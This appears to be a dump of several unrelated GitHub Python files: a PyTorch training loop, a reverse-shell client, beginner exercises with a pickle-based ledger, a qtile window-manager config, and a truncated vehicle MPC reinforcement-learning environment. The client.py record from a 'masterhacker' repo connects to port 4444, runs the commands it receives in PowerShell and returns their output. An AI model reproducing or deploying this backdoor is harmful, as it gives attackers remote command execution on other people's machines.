newrules","repo_name":"alistair-lilley/ManaBot","sub_path":"Managers/updatemanager.py","file_name":"updatemanager.py","file_ext":"py","file_size_in_byte":5867,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"18314971787","text":"criterion = nn.MSELoss()\n\ndef train(model, num_epochs=5): \n torch.manual_seed(1000) \n optimizer = torch.optim.Adam(model.parameters()) \n\n epoch_load=0\n results = [] #creates list\n\n print(\"Training in progress...\")\n\n global canLoad\n\n if canLoad:\n state = torch.load(save_path)\n\n model.load_state_dict(state['state_dict'])\n optimizer.load_state_dict(state['optimizer'])\n epoch_load = state['epoch']\n else:\n canLoad=True\n\n\n for epoch in range(num_epochs):\n for data, truth in zip(train_loader, ground_loader): \n\n img = data.float()\n groundTruth = truth.float()\n output = model(img) \n loss = criterion(output, groundTruth) \n\n if float(loss)<50: \n goodTry.append(output)\n goodTry.append(groundTruth)\n goodTry.append(img)\n\n if float(loss)<30:\n gemini = True\n\n loss.backward() \n optimizer.step() \n optimizer.zero_grad()\n\n print('Epoch:{}, Loss:{:.4f}'.format(epoch+epoch_load+1, float(loss)))\n\n state = {\n 'epoch': epoch+epoch_load+1 , 'state_dict': model.state_dict() , 'optimizer': optimizer.state_dict()\n } \n torch.save(state, save_path)\n\n return results\n\n\n ","repo_name":"IrtezAhmed/ColourMePy","sub_path":"training_testing/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":1279,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"70"} +{"seq_id":"33751835296","text":"import socket \r\nimport os\r\nimport subprocess\r\nimport sys\r\n\r\ndef run_client():\r\n host = \"127.0.0.1\"\r\n port = 4444\r\n c = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n c.connect((host, port))\r\n\r\n while True:\r\n buf = c.recv(1024).decode()\r\n if buf[:2] == 'cd':\r\n os.chdir(buf[3:])\r\n c.send(b\"Location changed\")\r\n elif len(buf) > 0:\r\n resp = b\"\"\r\n cmd = subprocess.Popen([\"powershell.exe\", buf[:]], shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\r\n resp += cmd.stdout.read()\r\n resp += cmd.stdout.read()\r\n c.send(resp)","repo_name":"whitehatguy12/masterhacker","sub_path":"_modules/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":645,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"27274062515","text":"# from random import randint,choice\n# def exam():\n# nums=[randint(1,100) for i in range(2)]\n# nums.sort(reverse=True)\n# op=choice('+-*/')\n# if op=='-':\n# resutl=nums[0]-nums[1]\n# elif op=='+':\n# resutl = nums[0] + nums[1]\n# elif op=='*':\n# resutl = nums[0] * nums[1]\n# else:\n# resutl = nums[0] / nums[1]\n#\n# prompt='%s %s %s =' %(nums[0],op,nums[1])\n# counter=0\n# while counter<3:\n# answer=int(input(prompt))\n# if answer==resutl:\n# print('对')\n# break\n# print('滚')\n# counter+=1\n# else:\n# print('正确答案:%s%s' % (prompt,resutl))\n#\n#\n# def main():\n# while 1:\n# exam()\n# try:\n# yn= input('请选择(y/n):').strip()[0]\n# except ImportError:\n# continue\n# except (KeyboardInterrupt,EOFError):\n# yn='Nn'\n# if yn in 'nN':\n# print('\\n886')\n# break\n#\n# if __name__ == '__main__':\n# main()\n#\n# def add(x,y):\n# return x+y\n\n\n# from random import randint\n#\n# def func1(x):\n# return True if x %2==1 else False\n#\n# if __name__ == '__main__':\n# nums=[randint(1,100)for i in range(10)]\n# print(nums)\n# resutl=filter(func1,nums)\n# print(list(resutl))\n# resutl=filter(lambda x:True if x%2==1 else False,nums)\n# print(list(resutl))\n\n\n# from random import randint\n#\n# def func1(x):\n# return True if x%2==1 else False\n#\n# if __name__ == '__main__':\n# nums=[randint(1,100) for i in range(10)]\n# print(nums)\n# resutl=filter(func1,nums)\n# print(list(resutl))\n# resutl=filter(lambda x:True if x%2==1 else False,nums)\n# print(list(resutl))\n\n\n# from random import randint\n#\n# def func2(x):\n# return x*2\n#\n# if __name__ == '__main__':\n# nums=[randint(1,100)for i in range(10)]\n# print(nums)\n# resutl=map(func2,nums)\n# print(list(resutl))\n# resutl1=map(lambda x:x*2,nums)\n# print(list(resutl1))\n\n\n# x=10\n# def func1():\n# print(x)\n#\n# if __name__ == '__main__':\n# func1()\n\n# def func2():\n# y=100\n# print(y)\n#\n# if __name__ == '__main__':\n# func2()\n\n\n# x=10\n# def func3():\n# x=200\n# print(x)\n#\n# func3()\n\n# x=10\n# def func4():\n# global x\n# x=100\n# print(x)\n#\n# func4()\n\n# def add(a,b,c,d,e):\n# return a+b+c+d+e\n# from functools import partial\n# myadd=partial(add,10,20,30,40)\n# print(myadd(3))\n#\n# print(int('10101100',base=2))\n\n# from functools import partial\n# int2=partial(int,base=2)\n# print(int2('1100001'))\n\n# from functools import partial\n# int2=partial(int,base=2)\n# print(int2('11001100'))\n\n# def func1(x):\n# if x ==1:\n# return 1\n#\n# return x*func1(x-1)\n#\n# if __name__ == '__main__':\n# resutl=func1(5)\n# print(resutl)\n\n# from random import randint,choice\n#\n# def qsort(seq):\n# if len(seq)<2:\n# return seq\n# middle=seq[0]\n# smaller=[]\n# larger=[]\n#\n# for data in seq[1:]:\n# if data<=middle:\n# smaller.append(data)\n# else:\n# larger.append(data)\n#\n# return qsort(smaller)+[middle]+qsort(larger)\n#\n#\n#\n# if __name__ == '__main__':\n# nums=[randint(1,100) for i in range(10)]\n# print(nums)\n# print(qsort(nums))\n\n\n# def mygen():\n# yield 100\n# a=10\n# yield a\n# yield 1000\n#\n# if __name__ == '__main__':\n# mg=list(mygen())\n# print(mg)\n# mm=mygen()\n# for i in mm:\n# print(i)\n\n# import sys\n# sys.path.append()\n\nimport os\nimport pickle\nfrom time import strftime\n\ndef save(fname):\n try:\n amount=int(input('有钱拿\\033[031;1m( $ _ $ )\\033[0m金额:'))\n comment=input('备注:')\n except ValueError:\n print('无效金额')\n return\n except (KeyboardInterrupt,EOFError):\n print('\\n永别了')\n exit()\n\n date=strftime('%Y-%m-%d')\n with open(fname,'rb') as fobj:\n records=pickle.load(fobj)\n balance=records[-1][-2] + amount\n lien=[date,amount,0,balance,comment]\n records.append(lien)\n with open(fname,'wb') as fobj:\n pickle.dump(records,fobj)\n\n\ndef cost(fname):\n try:\n amount=int(input('没钱了\\033[031;1m\\(ˋ^ˊ)\\033[0m金额:'))\n comment=input('备注:')\n except ValueError:\n print('无效输入')\n return\n except (KeyboardInterrupt,EOFError):\n print('\\n永别了兄弟')\n exit()\n date=strftime('%Y-%m-%d')\n with open(fname,'rb') as fobj:\n records=pickle.load(fobj)\n balance=records[-1][-2] - amount\n lien=[date,0,amount,balance,comment]\n records.append(lien)\n with open(fname,'wb') as fobj:\n pickle.dump(records,fobj)\n\ndef query(fname):\n with open(fname,'rb') as fobj:\n records=pickle.load(fobj)\n print('%-12s%-8s%-8s%-12s%-20s' % ('date','save','cost','balance','comment'))\n for lien in records:\n print('%-12s%-8s%-8s%-12s%-20s' % tuple(lien))\n\n\ndef show_menu():\n cmds={'0':save,'1':cost,'2':query}\n prompt='''(0)收入\n(1)支出\n(2)查询\n(3)退出\n请选择(0/1/2/3):'''\n fname = 'acconut.data'\n init_data = [['2019-01-09', 0, 0, 10000, 'init data']]\n if not os.path.exists(fname):\n with open(fname,'wb') as fobj:\n pickle.dump(init_data,fobj)\n while 1:\n try:\n choice=input(prompt).strip()\n except (KeyboardInterrupt,EOFError):\n choice='3'\n\n if choice not in ['0','1','2','3']:\n print('\\033[33;1m不要输其他的,不然弹你\\033[0m\\033[31;1m小鸡鸡\\033[0m\\033[32;1m(=^ω^=)\\033[0m')\n continue\n if choice=='3':\n print('\\n\\033[34;1m永别了兄弟\\033[0m\\033[32;1m(T_T)\\033[0m')\n break\n cmds[choice](fname)\n\nif __name__ == '__main__':\n show_menu()\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"lianyuhao/biji","sub_path":"Python/py02/2day/练习20190109.py","file_name":"练习20190109.py","file_ext":"py","file_size_in_byte":5825,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"1349055711","text":"import os\nimport subprocess\nfrom typing import List # noqa: F401\n\nfrom libqtile import qtile, bar, layout, widget, hook\nfrom libqtile.config import Click, Drag, Group, Key, Match, Screen\nfrom libqtile.lazy import lazy\n\nmod = \"mod4\"\nterminal = \"alacritty\"\n\n#==== Colors ====#\n\n# Navy and Ivory - Snazzy based.\ncolors = [\n [\"#021b21\", \"#021b21\"], # 0\n [\"#032c36\", \"#065f73\"], # 1\n # [\"#032c36\", \"#61778d\"],# 1 this one is bit lighter, it is for inactive workspace icons.\n [\"#e8dfd6\", \"#e8dfd6\"], # 2\n [\"#c2454e\", \"#c2454e\"], # 3\n [\"#44b5b1\", \"#44b5b1\"], # 4\n [\"#9ed9d8\", \"#9ed9d8\"], # 5\n [\"#f6f6c9\", \"#f6f6c9\"], # 6\n [\"#61778d\", \"#61778d\"], # 7\n [\"#e2c5dc\", \"#e2c5dc\"], # 8\n [\"#5e8d87\", \"#5e8d87\"], # 9\n [\"#032c36\", \"#032c36\"], # 10\n [\"#2e3340\", \"#2e3340\"], # 11\n [\"#065f73\", \"#065f73\"], # 12\n [\"#8a7a63\", \"#8a7a63\"], # 13\n [\"#A4947D\", \"#A4947D\"], # 14\n [\"#BDAD96\", \"#BDAD96\"], # 15\n [\"#a2d9b1\", \"#a2d9b1\"], # 16\n]\n\n\npowerline_symbol =\"\\u25e5\"\n\nkeys = [\n # Switch between windows\n Key([mod], \"h\", lazy.layout.left(), desc=\"Move focus to left\"),\n Key([mod], \"Left\", lazy.layout.left(), desc=\"Move focus to left\"),\n Key([mod], \"l\", lazy.layout.right(), desc=\"Move focus to right\"),\n Key([mod], \"Right\", lazy.layout.right(), desc=\"Move focus to right\"),\n Key([mod], \"j\", lazy.layout.down(), desc=\"Move focus down\"),\n Key([mod], \"Down\", lazy.layout.down(), desc=\"Move focus down\"),\n Key([mod], \"k\", lazy.layout.up(), desc=\"Move focus up\"),\n Key([mod], \"Up\", lazy.layout.up(), desc=\"Move focus up\"),\n Key([mod], \"space\", lazy.layout.next(),\n desc=\"Move window focus to other window\"),\n\n # Switch focus to specific monitor (out of three)\n Key([mod], \"w\", lazy.to_screen(0),\n desc='Keyboard focus to monitor 1'),\n Key([mod], \"e\", lazy.to_screen(1),\n desc='Keyboard focus to monitor 2'),\n\n # Move windows between left/right columns or move up/down in current stack.\n # Moving out of range in Columns layout will create new column.\n Key([mod, \"shift\"], \"h\", lazy.layout.shuffle_left(),\n desc=\"Move window to the left\"),\n Key([mod, \"shift\"], \"l\", lazy.layout.shuffle_right(),\n desc=\"Move window to the right\"),\n Key([mod, \"shift\"], \"j\", lazy.layout.shuffle_down(),\n desc=\"Move window down\"),\n Key([mod, \"shift\"], \"k\", lazy.layout.shuffle_up(), desc=\"Move window up\"),\n\n # Grow windows. If current window is on the edge of screen and direction\n # will be to screen edge - window would shrink.\n Key([mod, \"control\"], \"h\", lazy.layout.grow_left(),\n desc=\"Grow window to the left\"),\n Key([mod, \"control\"], \"l\", lazy.layout.grow_right(),\n desc=\"Grow window to the right\"),\n Key([mod, \"control\"], \"j\", lazy.layout.grow_down(),\n desc=\"Grow window down\"),\n Key([mod, \"control\"], \"k\", lazy.layout.grow_up(), desc=\"Grow window up\"),\n Key([mod, \"control\"], \"n\", lazy.layout.normalize(), desc=\"Reset all window sizes\"),\n\n # Move the current column to the left or right\n Key([mod, \"shift\", \"control\"], \"h\", lazy.layout.swap_column_left()),\n Key([mod, \"shift\", \"control\"], \"l\", lazy.layout.swap_column_right()),\n\n # Toggle between split and unsplit sides of stack.\n # Split = all windows displayed\n # Unsplit = 1 window displayed, like Max layout, but still with\n # multiple stack panes\n Key([mod, \"shift\"], \"Return\", lazy.layout.toggle_split(),\n desc=\"Toggle between split and unsplit sides of stack\"),\n Key([mod], \"Return\", lazy.spawn(terminal), desc=\"Launch terminal\"),\n\n # Toggle between different layouts as defined below\n Key([mod], \"Tab\", lazy.next_layout(), desc=\"Toggle between layouts\"),\n Key([mod], \"f\", lazy.window.toggle_floating(), desc=\"Toggle floating layout\"),\n Key([mod], \"q\", lazy.window.kill(), desc=\"Kill focused window\"),\n Key([mod], \"Escape\", lazy.spawn(\"slock\"), desc=\"Lock the screen\"),\n\n Key([mod, \"control\"], \"r\", lazy.restart(), desc=\"Restart Qtile\"),\n Key([mod, \"control\"], \"q\", lazy.shutdown(), desc=\"Shutdown Qtile\"),\n Key([mod], \"r\", lazy.spawn(\"rofi -show run\"),\n desc=\"Launch rofi\"),\n Key([mod], \"n\", lazy.spawn(terminal +\" -t floating_terminal -e /home/loico/bin/notetaker.sh\"),\n desc=\"Launch nvim to write a note\"),\n\n Key([], \"XF86AudioRaiseVolume\", lazy.spawn(\"amixer -c 0 -q set Master 2dB+\")),\n Key([], \"XF86AudioLowerVolume\", lazy.spawn(\"amixer -c 0 -q set Master 2dB-\")),\n Key([], \"XF86AudioMute\", lazy.spawn(\"amixer -c 0 -q set Master toggle\")),\n]\n\ngroups = [\n Group(\"1\", label=\"\"),\n Group(\"2\", label=\"\"),\n Group(\"3\", label=\"\"),\n Group(\"4\", label=\"\"),\n Group(\"5\", label=\"戮\"),\n Group(\"6\", label=\"\"),\n Group(\"7\", label=\"\"),\n Group(\"8\", label=\"﵂\"),\n Group(\"9\", label=\"\"),\n Group(\"0\", label=\"\"),\n]\n\nfor i in groups:\n keys.extend([\n # mod1 + letter of group = switch to group\n Key([mod], i.name, lazy.group[i.name].toscreen(),\n desc=\"Switch to group {}\".format(i.name)),\n\n # mod1 + shift + letter of group = switch to & move focused window to group\n # Key([mod, \"shift\"], i.name, lazy.window.togroup(i.name, switch_group=True),\n # desc=\"Switch to & move focused window to group {}\".format(i.name)),\n # Or, use below if you prefer not to switch to that group.\n # # mod1 + shift + letter of group = move focused window to group\n Key([mod, \"shift\"], i.name, lazy.window.togroup(i.name),\n desc=\"move focused window to group {}\".format(i.name)),\n ])\n\nlayouts = [\n layout.Columns(border_focus=colors[2], border_focus_stack='#92b19e', boder_normal='#191919', border_normal_stack='#191919', margin = 5, single_border_width = 0),\n layout.Max(),\n # Plasma(margin = 5),\n # Try more layouts by unleashing below layouts.\n # layout.Stack(num_stacks=2),\n # layout.Bsp(),\n # layout.Matrix(),\n # layout.MonadTall(margin = 5),\n # layout.MonadWide(),\n # layout.RatioTile(),\n # layout.Tile(),\n # layout.TreeTab(),\n # layout.VerticalTile(),\n # layout.Zoomy(),\n]\n\nwidget_defaults = dict(\n# font='monospace',\n# font='Ubuntu Mono',\n font='Iosevka Nerd Font',\n# foreground=colors[\"black\"],\n fontsize=14,\n padding=0,\n)\nextension_defaults = widget_defaults.copy()\n\ndef top_bar():\n return [\n widget.Sep(\n padding=6,\n linewidth=0,\n background=colors[6],\n ),\n widget.TextBox(\n text=powerline_symbol,\n font=\"Inconsolata for powerline\",\n fontsize=42,\n padding=0,\n background=colors[6],\n foreground=colors[0],\n ),\n widget.GroupBox(\n font=\"Iosevka Nerd Font\",\n fontsize=16,\n margin_y=3,\n margin_x=6,\n padding_y=7,\n padding_x=6,\n borderwidth=4,\n active=colors[8],\n inactive=colors[1],\n rounded=False,\n highlight_color=colors[3],\n highlight_method=\"block\",\n this_current_screen_border=colors[6],\n block_highlight_text_color=colors[8],\n disable_drag=True,\n ),\n widget.TextBox(\n text=powerline_symbol,\n font=\"Inconsolata for powerline\",\n fontsize=42,\n padding=0,\n background=colors[0],\n foreground=colors[2],\n ),\n widget.WindowName(\n font=\"Iosevka Nerd Font\",\n fontsize=15,\n background=colors[2],\n foreground=colors[0],\n ),\n widget.TextBox(\n text=powerline_symbol,\n font=\"Inconsolata for powerline\",\n fontsize=42,\n padding=0,\n background=colors[2],\n foreground=colors[0],\n ),\n widget.Spacer(length=200),\n widget.TextBox(\n text=powerline_symbol,\n font=\"Inconsolata for powerline\",\n fontsize=42,\n padding=0,\n background=colors[0],\n foreground=colors[10],\n ),\n widget.Net(\n font=\"Iosevka Nerd Font\",\n fontsize=15,\n format = '{down} ↓↑ {up}',\n background=colors[10],\n foreground=colors[2],\n padding=5,\n ),\n widget.TextBox(\n text=powerline_symbol,\n font=\"Inconsolata for powerline\",\n fontsize=42,\n padding=0,\n background=colors[10],\n foreground=colors[11],\n ),\n widget.TextBox(\n text=\" \",\n font=\"Iosevka Nerd Font\",\n fontsize=18,\n padding=0,\n background=colors[11],\n foreground=colors[2],\n mouse_callbacks={\"Button1\": lambda: qtile.cmd_spawn(\"nautilus\")},\n ),\n widget.DF(\n font=\"Iosevka Nerd Font\",\n fontsize=15,\n partition=\"/home\",\n format=\"{uf}{m} ({r:.0f}%)\",\n visible_on_warn=False,\n background=colors[11],\n foreground=colors[2],\n padding=5,\n mouse_callbacks={\"Button1\": lambda: qtile.cmd_spawn(\"nautilus\")},\n ),\n widget.TextBox(\n text=powerline_symbol,\n font=\"Inconsolata for powerline\",\n fontsize=42,\n padding=0,\n background=colors[11],\n foreground=colors[12],\n ),\n widget.TextBox(\n text=\" \",\n font=\"Iosevka Nerd Font\",\n fontsize=16,\n foreground=colors[2],\n background=colors[12],\n padding=0,\n mouse_callbacks={\"Button1\": lambda: qtile.cmd_spawn(terminal + \" -t floating_terminal -e /home/loico/bin/pop-up.sh htop\")},\n ),\n widget.Memory(\n background=colors[12],\n foreground=colors[2],\n font=\"Iosevka Nerd Font\",\n fontsize=15,\n format=\"{MemUsed: .0f} MB\",\n mouse_callbacks={\"Button1\": lambda: qtile.cmd_spawn(terminal + \" -t floating_terminal -e /home/loico/bin/pop-up.sh htop\")},\n ),\n widget.Sep(\n padding=8,\n linewidth=0,\n background=colors[12],\n ),\n widget.TextBox(\n text=powerline_symbol,\n font=\"Inconsolata for powerline\",\n fontsize=42,\n padding=0,\n background=colors[12],\n foreground=colors[7],\n ),\n widget.Sep(\n padding=6,\n linewidth=0,\n background=colors[7],\n ),\n widget.KeyboardLayout(\n font=\"Iosevka Nerd Font\",\n configured_keyboards=[\"us\", \"ch\"],\n fontsize=15,\n padding=0,\n background=colors[7],\n foreground=colors[2],\n ),\n widget.Systray(\n background=colors[7],\n foreground=colors[2],\n icons_size=18,\n padding=4,\n ),\n widget.TextBox(\n text=powerline_symbol,\n font=\"Inconsolata for powerline\",\n fontsize=42,\n padding=0,\n background=colors[7],\n foreground=colors[13],\n ),\n widget.TextBox(\n text=\"墳 \",\n font=\"Iosevka Nerd Font\",\n fontsize=18,\n background=colors[13],\n foreground=colors[0],\n ),\n widget.Volume(\n background=colors[13],\n foreground=colors[0],\n font=\"Iosevka Nerd Font\",\n fontsize=15,\n mouse_callbacks={\"Button3\": lambda: qtile.cmd_spawn(\"pavucontrol\")},\n ),\n # Doesn't work with Spotify so its disabled!\n # widget.TextBox(\n # text=\"\\u2572\",\n # font=\"Inconsolata for powerline\",\n # fontsize=\"33\",\n # padding=0,\n # background=colors[13],\n # foreground=colors[0],\n # ),\n # widget.Mpd2(\n # background=colors[13],\n # foreground=colors[0],\n # idle_message=\" \",\n # idle_format=\"{idle_message} Not Playing\",\n # status_format=\" {artist}/{title} [{updating_db}]\",\n # font=\"Iosevka Nerd Font\",\n # fontsize=15,\n # ),\n # This one works with Spotify, enable if you want!\n # widget.Mpris2(\n # background=colors[13],\n # foreground=colors[0],\n # name=\"spotify\",\n # objname=\"org.mpris.MediaPlayer2.spotify\",\n # fmt=\"\\u2572  {}\",\n # display_metadata=[\"xesam:title\", \"xesam:artist\"],\n # scroll_chars=20,\n # font=\"Iosevka Nerd Font\",\n # fontsize=15,\n # ),\n widget.TextBox(\n text=powerline_symbol,\n font=\"Inconsolata for powerline\",\n fontsize=42,\n padding=0,\n background=colors[13],\n foreground=colors[14],\n ),\n widget.Battery(\n font=\"Iosevka Nerd Font\",\n charge_char=\"\",\n discharge_char=\"\",\n empty_char=\"\",\n format=\"{char} {percent:2.0%}\",\n background=colors[14],\n foreground=colors[0],\n ),\n widget.TextBox(\n text=powerline_symbol,\n font=\"Inconsolata for powerline\",\n fontsize=42,\n padding=0,\n background=colors[14],\n foreground=colors[15],\n ),\n widget.TextBox(\n text=\"  \",\n font=\"Iosevka Nerd Font\",\n fontsize=\"14\",\n padding=0,\n background=colors[15],\n foreground=colors[0],\n mouse_callbacks={\"Button1\": lambda: qtile.cmd_spawn(terminal + \" -t floating_terminal -e /home/loico/bin/pop-up.sh calcurse\")},\n ),\n widget.Clock(\n font=\"Iosevka Nerd Font\",\n foreground=colors[0],\n background=colors[15],\n fontsize=15,\n format=\"%d %b, %A\",\n mouse_callbacks={\"Button1\": lambda: qtile.cmd_spawn(terminal + \" -t floating_terminal -e /home/loico/bin/pop-up.sh calcurse\")},\n ),\n widget.Sep(\n padding=6,\n linewidth=0,\n background=colors[15],\n ),\n widget.TextBox(\n text=powerline_symbol,\n font=\"Inconsolata for powerline\",\n fontsize=42,\n padding=0,\n background=colors[15],\n foreground=colors[16],\n ),\n widget.TextBox(\n text=\" \",\n font=\"Iosevka Nerd Font\",\n fontsize=\"18\",\n padding=0,\n background=colors[16],\n foreground=colors[0],\n ),\n widget.Clock(\n font=\"Iosevka Nerd Font\",\n foreground=colors[0],\n background=colors[16],\n fontsize=15,\n format=\"%H:%M\",\n mouse_callbacks={\"Button1\": lambda: qtile.cmd_spawn(terminal + \" -t floating_terminal -e /home/loico/bin/pop-up.sh tty-clock -sc\")},\n ),\n widget.TextBox(\n text=powerline_symbol,\n font=\"Inconsolata for powerline\",\n fontsize=42,\n padding=0,\n background=colors[16],\n foreground=colors[6],\n ),\n widget.Sep(\n padding=6,\n linewidth=0,\n background=colors[6],\n ),\n ]\n\nscreens = [\n Screen(\n top=bar.Bar(\n top_bar(),\n size=22,\n background=colors[0],\n margin=[0, 0, 0, 0],\n opacity=0.95\n ),\n wallpaper=\"~/Pictures/wallpaper.jpg\",\n wallpaper_mode=\"fill\",\n ),\n Screen(\n wallpaper=\"~/Pictures/wallpaper.jpg\",\n wallpaper_mode=\"fill\",\n ),\n]\n\n# Drag floating layouts.\nmouse = [\n Drag([mod], \"Button1\", lazy.window.set_position_floating(),\n start=lazy.window.get_position()),\n Drag([mod], \"Button3\", lazy.window.set_size_floating(),\n start=lazy.window.get_size()),\n Click([mod], \"Button2\", lazy.window.bring_to_front())\n]\n\ndgroups_key_binder = None\ndgroups_app_rules = [] # type: List\nfollow_mouse_focus = False\nbring_front_click = False\ncursor_warp = False\nfloating_layout = layout.Floating(float_rules=[\n # Run the utility of `xprop` to see the wm class and name of an X client.\n *layout.Floating.default_float_rules,\n Match(wm_class='confirmreset'), # gitk\n Match(wm_class='makebranch'), # gitk\n Match(wm_class='maketag'), # gitk\n Match(wm_class='ssh-askpass'), # ssh-askpass\n Match(title='branchdialog'), # gitk\n Match(title='pinentry'), # GPG key password entry\n Match(title='Qalculate!'), # qalculate-gtk\n Match(title='floating_terminal'), # floating terminal launched by qtile\n])\nauto_fullscreen = True\nfocus_on_window_activation = \"smart\"\nreconfigure_screens = True\n\n# If things like steam games want to auto-minimize themselves when losing\n# focus, should we respect this or not?\nauto_minimize = True\n\n@hook.subscribe.startup_once\ndef start_once():\n subprocess.call(os.path.expanduser('~/.config/qtile/autostart.sh'))\n\n# XXX: Gasp! We're lying here. In fact, nobody really uses or cares about this\n# string besides java UI toolkits; you can see several discussions on the\n# mailing lists, GitHub issues, and other WM documentation that suggest setting\n# this string if your java app doesn't work correctly. We may as well just lie\n# and say that we're a working one by default.\n#\n# We choose LG3D to maximize irony: it is a 3D non-reparenting WM written in\n# java that happens to be on java's whitelist.\nwmname = \"LG3D\"\n","repo_name":"loico/dotfiles","sub_path":".config/qtile/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":17713,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"12604962590","text":"from mpc import *\nimport matplotlib.pyplot as plt\nimport os\n# from test import main as RL_test\n\nstate_init = ca.DM([10, 20, 4, 10, 0.2343, -0.0123])\n# actual_state_seq = state_init\n# ct = 0\n# alpha = 1\n# t0 = 0\n# N = 10\n# u0_bar = 1e-4 * ca.DM.ones((2, N))\n# u_hat_traj = 1e-4 * ca.DM.ones((2, N))\n# X0_2 = ca.repmat(state_init, 1, N)\nbuffer_size = 2\n# all_states_cloud = []\n# u_all = []\n# state_init, cost, u, t0, u_hat_traj, X0_2, u0_bar, actual_state_seq, all_states_cloud, u_all, lin_model_diff, \\\n# buffer_states_cloud, buffer_actual_states = cloud_local_mpc(ct, N, alpha, t0, u0_bar, u_hat_traj, X0_2,\n# state_init, actual_state_seq, buffer_size,\n# all_states_cloud, u_all)\n\n\nclass VehEnv:\n def __init__(self, max_ct=100, N=10):\n self.max_ct = max_ct\n self.N = N\n self.obs_dim = 6\n self.observation_space = int(self.obs_dim + buffer_size * self.obs_dim * 2)\n self.action_space = 1\n self.action_high = 1\n self.threshold_error = 100\n\n def reset(self):\n self.t0 = 0\n self.u0_bar = 1e-3 * ca.DM.ones((2, self.N))\n self.u_hat_traj = 1e-3 * ca.DM.ones((2, self.N))\n self.x0 = ca.DM([-4, 10, -3, -0.0691, 0.2343, -0.0123]) # x, vx, y, vy, phi, r\n # self.x0 = ca.DM([5 * np.random.rand(1) - 5, 10, 5 * np.random.rand(1) - 5, -0.0691, 0.2343, -0.0123]) # x, vx, y, vy, phi, r\n # self.x0 = ca.DM([np.random.uniform(low=0, high=5), 5, np.random.uniform(low=0, high=5), -0.0691, 0.2343,\n # -0.0123]) # x, vx, y, vy, phi, r\n\n self.X0_2 = ca.repmat(self.x0, 1, self.N)\n self.all_actual_states = self.x0\n self.all_cloud_states = []\n self.all_u = []\n self.ct = 0 # ct is the time step\n print(\"The Plant is reset to initial conditions at time zero\")\n # self.buffer_lin_model_diff = []\n return np.concatenate((np.array(self.x0).flatten(), np.zeros(self.obs_dim * buffer_size), np.zeros(self.obs_dim * buffer_size)))\n\n def step(self, alpha):\n alpha = np.clip(alpha, 0, 1)\n next_state, cost_val, con, t, u_hat, X0, u_bar, actual_state_sequence, all_states_cloud, u_all, \\\n buffer_lin_model, buffer_states_cloud, \\\n buffer_actual_states \\\n = cloud_local_mpc(\n self.ct, self.N, alpha, self.t0, self.u0_bar,\n self.u_hat_traj, self.X0_2, self.x0,\n self.all_actual_states, buffer_size,\n self.all_cloud_states, self.all_u)\n\n reward = np.array(-cost_val)[0][0]\n self.ct += 1\n self.t0 = t\n self.u_hat_traj = u_hat\n self.X0_2 = X0\n self.u0_bar = u_bar\n self.x0 = next_state\n self.all_actual_states = actual_state_sequence\n self.all_cloud_states = all_states_cloud\n self.all_u = u_all\n # self.buffer_lin_model_diff = buffer_lin_model\n\n tracking_error = (next_state[2] - 4 * np.sin(2 * np.pi / 50 * np.array(next_state[0]))) ** 2\n if self.ct > self.max_ct: # final time stop condition\n # print('Maximum time step exceeded, Plant is reset to initial conditions')\n done = True\n # elif tracking_error > self.threshold_error:\n # done = True\n # reward = -100\n else:\n done = False\n\n # if self.ct > self.max_ct:\n # print('Maximum time step exceeded, Plant is reset to initial conditions')\n # self.reset()\n # if next_state[0] < -10 or next_state[0] > 10:\n # reward = -ca.inf\n # self.reset()\n # print('Constraints violated, - inf reward ')\n state = np.concatenate((next_state.flatten(), np.array(buffer_actual_states - buffer_states_cloud).flatten(),\n np.array(buffer_lin_model).flatten()))\n\n return state, reward, done, self.all_u\n\n def close(self):\n pass\n\n\nif __name__ == \"__main__\":\n seed = 66\n np.random.seed(seed)\n random.seed(seed)\n\n if not os.path.exists('runs' + '/Veh/local'):\n os.mkdir('runs' + '/Veh/local')\n\n if not os.path.exists('runs' + '/Veh/cloud'):\n os.mkdir('runs' + '/Veh/cloud')\n\n Veh = VehEnv()\n Veh.reset()\n done = False\n local_return = 0\n local_obs, local_a = [], []\n\n # test the local mpc\n while not done:\n state, reward, done, all_u = Veh.step(0)\n local_return += reward\n local_obs.append(state)\n local_a.append(0)\n\n print(\"Return for Local MPC:\", local_return)\n np.save('runs' + '/Veh/local/ob_history', local_obs)\n np.save('runs' + '/Veh/local/actions', local_a)\n np.save('runs' + '/Veh/local/numpy_u', np.array(all_u))\n\n # plt.plot(Veh.all_actual_states[0, :].T, Veh.all_actual_states[2, :].T, label ='actual')\n # plt.plot(Veh.all_actual_states[0, :].T, 4 * sin(2 * pi * Veh.all_actual_states[0, :].T / 50), label ='path')\n # plt.legend()\n # plt.show()\n\n # test the cloud mpc\n Veh.reset()\n done = False\n cloud_return = 0\n cloud_obs, cloud_a = [], []\n\n # test the local mpc\n while not done:\n state, reward, done, all_u = Veh.step(1)\n cloud_return += reward\n cloud_obs.append(state)\n cloud_a.append(1)\n\n print(\"Return for Cloud MPC:\", cloud_return)\n np.save('runs' + '/Veh/cloud/ob_history', cloud_obs)\n np.save('runs' + '/Veh/cloud/actions', cloud_a)\n np.save('runs' + '/Veh/cloud/numpy_u', np.array(all_u))\n\n # # # plt.subplot(2, 2, 1)\n # # plt.subplot(2, 2, 2)\n # plt.plot(Pen.all_actual_states[1, :].T)\n # plt.subplot(2, 2, 3)\n # plt.plot(Pen.all_actual_states[2, :].T)\n # plt.subplot(2, 2, 4)\n # plt.plot(Pen.all_actual_states[3, :].T)\n\n# plt.figure()\n# plt.plot(Pen.all_u[1, :].T)\n# plt.plot(Veh.all_cloud_states[0,:].T, Veh.all_cloud_states[2,:].T, label ='cloud prediction')\n# plt.plot(Veh.all_actual_states[0,:].T, Veh.all_actual_states[2,:].T, label ='actual states')\n# plt.legend()\n#\n# plt.figure()\n# plt.subplot(2,2,1)\n# 